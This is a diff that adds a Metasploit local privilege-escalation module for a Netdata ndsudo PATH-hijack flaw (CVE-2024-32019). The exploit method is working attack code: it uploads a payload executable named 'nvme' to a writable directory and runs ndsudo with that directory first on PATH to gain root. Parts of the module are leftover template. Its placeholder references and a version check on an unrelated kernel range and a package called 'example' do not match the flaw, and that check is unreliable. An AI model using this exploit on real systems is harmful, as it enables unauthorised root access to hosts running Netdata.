|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Local |
| 7 | + Rank = NormalRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html |
| 8 | + |
| 9 | + # includes: is_root? |
| 10 | + include Msf::Post::Linux::Priv |
| 11 | + # includes: has_gcc? |
| 12 | + include Msf::Post::Linux::System |
| 13 | + # includes: kernel_release |
| 14 | + include Msf::Post::Linux::Kernel |
| 15 | + # includes writable?, upload_file, upload_and_chmodx, exploit_data |
| 16 | + include Msf::Post::File |
| 17 | + # includes generate_payload_exe |
| 18 | + include Msf::Exploit::EXE |
| 19 | + # includes register_files_for_cleanup |
| 20 | + include Msf::Exploit::FileDropper |
| 21 | + # includes: COMPILE option, live_compile?, upload_and_compile |
| 22 | + # strip_comments |
| 23 | + include Msf::Post::Linux::Compile |
| 24 | + prepend Msf::Exploit::Remote::AutoCheck |
| 25 | + |
| 26 | + def initialize(info = {}) |
| 27 | + super( |
| 28 | + update_info( |
| 29 | + info, |
| 30 | + # The Name should be just like the line of a Git commit - software name, |
| 31 | + # vuln type, class. Preferably apply |
| 32 | + # some search optimization so people can actually find the module. |
| 33 | + # We encourage consistency between module name and file name. |
| 34 | + 'Name' => 'Sample Linux Priv Esc', |
| 35 | + 'Description' => %q{ |
| 36 | + This exploit module illustrates how a vulnerability could be exploited |
| 37 | + in an linux command for priv esc. |
| 38 | + }, |
| 39 | + 'License' => MSF_LICENSE, |
| 40 | + # The place to add your name/handle and email. Twitter and other contact info isn't handled here. |
| 41 | + # Add reference to additional authors, like those creating original proof of concepts or |
| 42 | + # reference materials. |
| 43 | + # It is also common to comment in who did what (PoC vs metasploit module, etc) |
| 44 | + 'Author' => [ |
| 45 | + 'msutovsky-r7', # msf module |
| 46 | + 'mia-0' # security researcher |
| 47 | + ], |
| 48 | + 'Platform' => [ 'linux' ], |
| 49 | + # from underlying architecture of the system. typically ARCH_X64 or ARCH_X86, but the exploit |
| 50 | + # may only apply to say ARCH_PPC or something else, where a specific arch is required. |
| 51 | + # A full list is available in lib/msf/core/payload/uuid.rb |
| 52 | + 'Arch' => [ ARCH_X86, ARCH_X64 ], |
| 53 | + # What types of sessions we can use this module in conjunction with. Most modules use libraries |
| 54 | + # which work on shell and meterpreter, but there may be a nuance between one of them, so best to |
| 55 | + # test both to ensure compatibility. |
| 56 | + 'SessionTypes' => [ 'shell', 'meterpreter' ], |
| 57 | + 'Targets' => [[ 'Auto', {} ]], |
| 58 | + # from lib/msf/core/module/privileged, denotes if this requires or gives privileged access |
| 59 | + # since privilege escalation modules typically result in elevated privileges, this is |
| 60 | + # generally set to true |
| 61 | + 'Privileged' => true, |
| 62 | + 'References' => [ |
| 63 | + [ 'OSVDB', '12345' ], |
| 64 | + [ 'EDB', '12345' ], |
| 65 | + [ 'URL', 'http://www.example.com'], |
| 66 | + [ 'CVE', '2024-32019'] |
| 67 | + ], |
| 68 | + 'DisclosureDate' => '2024-04-12', |
| 69 | + # Note that DefaultTarget refers to the index of an item in Targets, rather than name. |
| 70 | + # It's generally easiest just to put the default at the beginning of the list and skip this |
| 71 | + # entirely. |
| 72 | + 'DefaultTarget' => 0, |
| 73 | + # https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html |
| 74 | + 'Notes' => { |
| 75 | + 'Stability' => [], |
| 76 | + 'Reliability' => [], |
| 77 | + 'SideEffects' => [] |
| 78 | + } |
| 79 | + ) |
| 80 | + ) |
| 81 | + # force exploit is used to bypass the check command results |
| 82 | + register_advanced_options [ |
| 83 | + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) |
| 84 | + ] |
| 85 | + end |
| 86 | + |
| 87 | + def check |
| 88 | + |
| 89 | + release = kernel_release |
| 90 | + begin |
| 91 | + if Rex::Version.new(release.split('-').first) > Rex::Version.new('4.14.11') || |
| 92 | + Rex::Version.new(release.split('-').first) < Rex::Version.new('4.0') |
| 93 | + return CheckCode::Safe("Kernel version #{release} is not vulnerable") |
| 94 | + end |
| 95 | + rescue ArgumentError => e |
| 96 | + return CheckCode::Safe("Error determining or processing kernel release (#{release}) into known format: #{e}") |
| 97 | + end |
| 98 | + vprint_good "Kernel version #{release} appears to be vulnerable" |
| 99 | + |
| 100 | + # Check the app is installed and the version, debian based example |
| 101 | + package = cmd_exec('dpkg -l example | grep \'^ii\'') |
| 102 | + if package&.include?('1:2015.3.14AR.1-1build1') |
| 103 | + return CheckCode::Appears("Vulnerable app version #{package} detected") |
| 104 | + end |
| 105 | + |
| 106 | + CheckCode::Safe("app #{package} is not vulnerable") |
| 107 | + end |
| 108 | + |
| 109 | + def exploit |
| 110 | + |
| 111 | + if !datastore['ForceExploit'] && is_root? |
| 112 | + fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override' |
| 113 | + end |
| 114 | + |
| 115 | + unless writable? base_dir |
| 116 | + fail_with Failure::BadConfig, "#{base_dir} is not writable" |
| 117 | + end |
| 118 | + |
| 119 | + executable_path = "#{base_dir}/nvme" |
| 120 | + |
| 121 | + upload_and_chmodx(executable_path, generate_payload_exe) |
| 122 | + |
| 123 | + |
| 124 | + register_files_for_cleanup(executable_path) |
| 125 | + |
| 126 | + timeout = 30 |
| 127 | + print_status 'Launching exploit...' |
| 128 | + output = cmd_exec "PATH=#{base_dir}:$PATH /usr/libexec/netdata/plugins.d/ndsudo nvme-list", nil, timeout |
| 129 | + output.each_line { |line| vprint_status line.chomp } |
| 130 | + end |
| 131 | +end |
0 commit comments